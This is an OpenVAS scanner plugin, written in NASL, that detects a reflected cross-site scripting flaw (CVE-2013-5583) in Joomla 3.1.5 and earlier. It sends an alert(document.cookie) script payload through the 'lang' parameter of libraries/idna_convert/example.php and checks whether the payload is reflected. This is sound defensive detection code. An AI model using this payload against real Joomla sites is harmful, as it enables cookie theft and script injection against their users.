Joomla 'lang' Parameter Cross Site Scripting Vulnerability-August13

2013-08-06T00:00:00
ID OPENVAS:1361412562310803850
Type openvas
Reporter Copyright (C) 2013 Greenbone Networks GmbH
Modified 2020-05-08T00:00:00

Description

This host is running Joomla and is prone to xss vulnerability.

                                        
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# OpenVAS Vulnerability Test
#
# Joomla 'lang' Parameter Cross Site Scripting Vulnerability-August13
#
# Authors:
# Thanga Prakash S <tprakash@secpod.com>
#
# Copyright:
# Copyright (C) 2013 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:joomla:joomla";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803850");
  script_version("2020-05-08T08:34:44+0000");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2020-05-08 08:34:44 +0000 (Fri, 08 May 2020)");
  script_tag(name:"creation_date", value:"2013-08-06 12:51:57 +0530 (Tue, 06 Aug 2013)");

  script_name("Joomla 'lang' Parameter Cross Site Scripting Vulnerability-August13");

  script_cve_id("CVE-2013-5583");

  script_tag(name:"summary", value:"This host is running Joomla and is prone to xss vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request and check whether it is able to
read cookie or not.");

  script_tag(name:"solution", value:"Upgrade to version 3.2.0 or later.");

  script_tag(name:"insight", value:"Input passed via 'lang' parameter to 'libraries/idna_convert/example.php'
is not properly sanitised before being returned to the user.");

  script_tag(name:"affected", value:"Joomla versions 3.1.5 and prior");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attacker to execute arbitrary HTML
or script code or discloses sensitive information resulting in loss of confidentiality.");

  script_xref(name:"URL", value:"http://cxsecurity.com/issue/WLB-2013080045");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/527765");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/joomla-315-cross-site-scripting");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2013 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("joomla_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("joomla/installed");

  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"http://www.joomla.org/download.html");
  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + '/libraries/idna_convert/example.php?lang="><script>alert(document.cookie);</script><!--';

if(http_vuln_check(port:port, url:url, check_header:TRUE, pattern:"<script>alert\(document\.cookie\);</script>",
                   extra_check:">phlyLabs")) {
  report = http_report_vuln_url( port:port, url:url );
  security_message(port:port, data:report);
  exit(0);
}

exit(99);